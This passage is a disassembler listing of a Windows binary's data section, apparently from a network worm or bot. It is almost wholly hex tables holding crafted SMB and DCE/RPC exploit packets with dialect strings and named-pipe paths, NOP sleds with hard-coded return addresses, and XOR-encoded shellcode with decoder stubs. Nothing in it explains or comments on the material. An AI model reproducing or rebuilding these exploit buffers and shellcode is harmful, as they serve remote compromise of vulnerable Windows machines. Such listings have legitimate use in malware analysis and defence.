		dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
		dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h, 88888988h
		dd 777CCE01h, 51E070FEh, 60257D81h, 88888878h, 7778CE01h
		dd 2CE070FEh, 604FF892h, 88888868h, 7764CE01h, 2CE070FEh
		dd 6061A625h, 88888858h, 7760CE01h, 6DE070FEh, 60C10EC1h
		dd 88888848h, 776ACE01h, 6FE070FEh, 60F14EF1h, 88888838h
		dd 0BB5ECE01h, 7C640977h, 0DC888889h, 888989E0h, 7CDE7788h
		dd 0D8D8D8D8h, 0D8C8D8C8h, 378DE77h, 0E0DFDF50h, 6FAB888Ah
		dd 9EE24403h, 0DE77DBD9h, 77DBDF64h, 77BB60DEh,	77DBD9DFh
		dd 58036ADEh, 0E036CE01h, 88ECE5EBh, 0B4AEE01h,	0B405244Ch
		dd 0BB48BBACh, 9D490841h, 4E756A23h, 0CC98ACCCh, 0B5ACCC76h
		dd 0C0ACDC01h, 0C4ACDC01h, 0D8ACDC01h, 98ACCC05h, 0D9D9D8DCh
		dd 0C1D9C9D9h, 0FE77D9D9h, 0DE77D94Ah, 0E2440346h, 77B97777h
		dd 40035ADEh, 7736FE77h, 16635EDEh, 0DE9CDE77h,	88B829ECh
		dd 0C8038888h, 94F80384h, 80C80325h, 888C4AD6h,	0DFDEDDDBh
		dd 90ACE403h, 3B4CD03h,	8BF08DDCh, 90C2035Dh, 8BA8D203h
		dd 0C1BA6B55h, 8B03BC03h, 7477BB7Dh, 0B22448BBh, 498FFC4Ch
		dd 708B8547h, 0F4B37A63h, 69FD9CACh, 8BACD203h,	8403EE55h
		dd 94D203C3h, 8C03558Bh, 634D8B03h, 348BB8Ah, 0D5D6D75Dh
		dd 888C4AD3h, 0
dword_43F6D8	dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40E3B2+7Bo
		dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
		dd 68736942h, 326B656Bh, 0FF333030h, 0
		dd 1, 0
		dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
dword_43F72C	dd 7FFDF020h, 0		; DATA XREF: sub_40E971+15Ao
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40E971+A5o
		align 10h
dword_43F740	dd 10FF8h		; DATA XREF: sub_40E971+6Fo
dword_43F744	dd 10FF8h, 2 dup(0)	; DATA XREF: sub_40E971+36o
dword_43F750	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40ED91+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002_0	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1_0	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12_0	db ' LM 0.12',0
		align 4
dword_43F7D8	dd 0			; DATA XREF: sub_40ED91+44o
		dd 800000D4h, 0
dword_43F7E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40ED91+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 3	dup(0)
unk_43F818	db  81h	; 		; DATA XREF: sub_40EE6B+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 2 dup(0)
byte_43F868	db 41h			; DATA XREF: sub_40F47A+104r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
aSvwfbA		db 'SVWfì€',0          ; DATA XREF: .text:0040F753o
aIcsa		db '‰æèí',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_43FA18	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: .text:0040F701o
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_43FAA8	dd 1000005h, 10h, 418h,	0 ; DATA XREF: .text:0040FC62o
		dd 400h, 90000h, 3 dup(1), 2 dup(3), 2,	7E4h, 0
		dd 7E4h, 53004Fh, 3Ah
aPrivate:				; DATA XREF: .text:0040FC86o
		unicode	0, <\PRIVATE$\>,0
		align 4
dword_43FB04	dd 5, 10h, 418h, 0	; DATA XREF: .text:0040FC93o
		dd 400h, 90000h, 0
dword_43FB20	dd 2000005h, 10h, 404h,	0 ; DATA XREF: .text:0040FCBFo
		dd 3ECh, 90000h, 0
dword_43FB3C	dd 909008EBh, 4014E9h, 2 dup(90909090h), 909008EBh, 4014E9h
					; DATA XREF: .text:0040FCD2o
		dd 1AEB9090h, 6F684041h, 6F657375h, 62616466h, 41487375h
		dd 909006EBh, 100124Dh,	90909090h, 9090h
dword_43FB78	dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h
					; DATA XREF: .text:0040FD03o
		dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh
		dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h,	368FC192h
		dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h
		dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah
		dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h,	778F5805h
		dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h
		dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h
		dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah
		dd 0E7FBA65Ah
		db 7Fh,	9Dh
word_43FC32	dw 551Ah		; DATA XREF: .text:0040FD0Cw
		dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
		dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh,	67D20A4Eh
		dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
		dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
		dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h,	0C81246E7h
		dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h,	9A6C25E6h
		dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
		dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h,	2 dup(0)
dword_43FCD8	dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
					; DATA XREF: .text:004103D6o
					; .text:004104AFo
		dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h,	0E91295D9h
		dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
		dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
		dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
		dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
		dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
		dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
		dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_43FD88	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: .text:00410305o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_43FE70	dd 600EBh		; DATA XREF: .text:00410460o
dword_43FE74	dd 0FFF83FE9h, 0FFh	; DATA XREF: .text:00410393o
off_43FE7C	dd offset aOrhaus	; DATA XREF: .text:00410481o
					; "orhaus"
a2w:
		unicode	0, <2w>,0
		align 4
dword_43FE88	dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; DATA XREF: .text:00410561o
					; .text:0041061Do
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_43FED0	dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0
					; DATA XREF: .text:0041040Eo
		dd 419h
dword_43FEF4	dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0
					; DATA XREF: .text:00410341o
		dd 819h
dword_43FF18	dd 0BAADh, 40000h, 0	; DATA XREF: .text:00410442o
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h,	0
		dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh,	610062h
		dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h
		dd 0B0079h, 0
		dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh,	4C0042h
		dd 41h,	6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h
		dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h
		dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh,	0BCE2FD34h
		dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh
		dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h
		dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh
		dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h,	0AB0316D8h
		dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h
		dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h
		dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h
		dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh
		dd 6FF714h, 0F450AEC3h,	0BE20C3AFh, 1D9B9B89h, 902F08B5h
		dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h
		dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah,	0CAA2048Eh
		dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h
		dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh
		dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch
		dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h
		dd 3FD3839h, 8BC57D88h,	1615362Dh, 3C94E81Bh, 10890BE9h
		dd 1114E699h, 2F8C54Fh,	0B195A1B8h, 0F62BCF58h,	3F3E17B2h
		dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h
		dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h
		dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h
		dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h
		dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h
		dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh
		dd 7382EFFAh, 7B7D0CAh,	6E901B06h, 0F0B60013h, 24E563BBh
		dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h,	0E2F4253Ch
		dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h
		dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h,	9CE4A188h
		dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h
		dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h
		dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah
		dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh
		dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h
		dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh,	0B1E658D7h
		dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh
		dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh
		dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h,	656D84B4h
		dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h,	4F7DCD50h
		dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h
		dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h
		dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h
		dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h
		dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh
		dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h
		dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h
		dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh,	27AFD30h
		dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h,	0BFAA1B98h
		dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh
		dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh
		dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h
		dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h
		dd 2 dup(0)
dword_4403E8	dd 0AD00F0h, 0D00BAh, 0AD00F0h,	0D00BAh, 0AD00F0h, 0D00BAh
					; DATA XREF: .text:00410375o
		dd 0AD00F0h, 0AB00BAh, 3 dup(0AB00ABh),	0ABh, 0BAADh, 40000h
		dd 0
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 40000h, 0
		dd 40000h, 430000h, 5C003Ah, 1F500000h,	130079h, 0
		dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh,	610062h
		dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h
		dd 0B0079h, 0
		dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh,	4C0042h
		dd 41h,	6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h
		dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh
		dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h,	0AE21D2C8h
		dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h
		dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh
		dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h,	0B312E7C7h
		dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h
		dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h
		dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh,	2A6FD55Eh
		dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h,	3D5BB4C6h
		dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh,	0B465545Eh
		dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch
		dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh
		dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h
		dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h
		dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h
		dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h
		dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh
		dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h,	0DE0497A4h
		dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h,	0F94C833Dh
		dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h,	75E3EE2Fh
		dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh
		dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h
		dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch
		dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h,	0E290152h
		dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h,	0C5F77BDh
		dd 364A9BCh, 6A7C6B6Fh,	6E90B28Dh, 6FF80013h, 780871B6h
		dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h
		dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h
		dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh
		dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h
		dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh,	0B574DD10h
		dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh
		dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h
		dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h,	2FF75D6Eh
		dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh
		dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh
		dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h
		dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h
		dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h
		dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h,	0D8153186h
		dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h
		dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h
		dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h,	0F4FD1D47h
		dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh
		dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah,	0CBA5AFF7h
		dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h
		dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h,	0C573CD85h
		dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h,	0DD83F934h
		dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h
		dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h
		dd 15003D6h, 0E290152h,	0CF353A38h, 51B7263Eh, 8DCD3FD0h
		dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh
		dd 2 dup(0)
dword_4408E8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:0041074Bo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0_1	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002_1	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12_1	db ' LM 0.12',0
		align 8
dword_440978	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0041078Fo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_440A28	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004107C2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_440B08	dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00410803o
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
dword_440B3C	dd 3F3F0000h, 3F3F3Fh, 0 ; DATA	XREF: .text:00410868o
dword_440B48	dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004108E4o
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 2 dup(0)
dword_440BB8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00410923o
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_440C60	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00410976o
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		dd 2 dup(90909090h), 909008EBh,	767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 90909090h, 0EB909090h, 48909008h,	9088444Fh
		dd 4 dup(90909090h), 0
dword_440D94	dd 7E0h, 4, 3 dup(0)	; DATA XREF: .text:004109B3o
dword_440DA8	dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h
					; DATA XREF: .text:004109A0o
		dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh
		dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h,	368FC192h
		dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h
		dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah
		dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h,	778F5805h
		dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h
		dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h
		dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah
		dd 0E7FBA65Ah
		db 7Fh,	9Dh
word_440E62	dw 551Ah		; DATA XREF: .text:00410994w
		dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
		dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh,	67D20A4Eh
		dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
		dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
		dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h,	0C81246E7h
		dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h,	9A6C25E6h
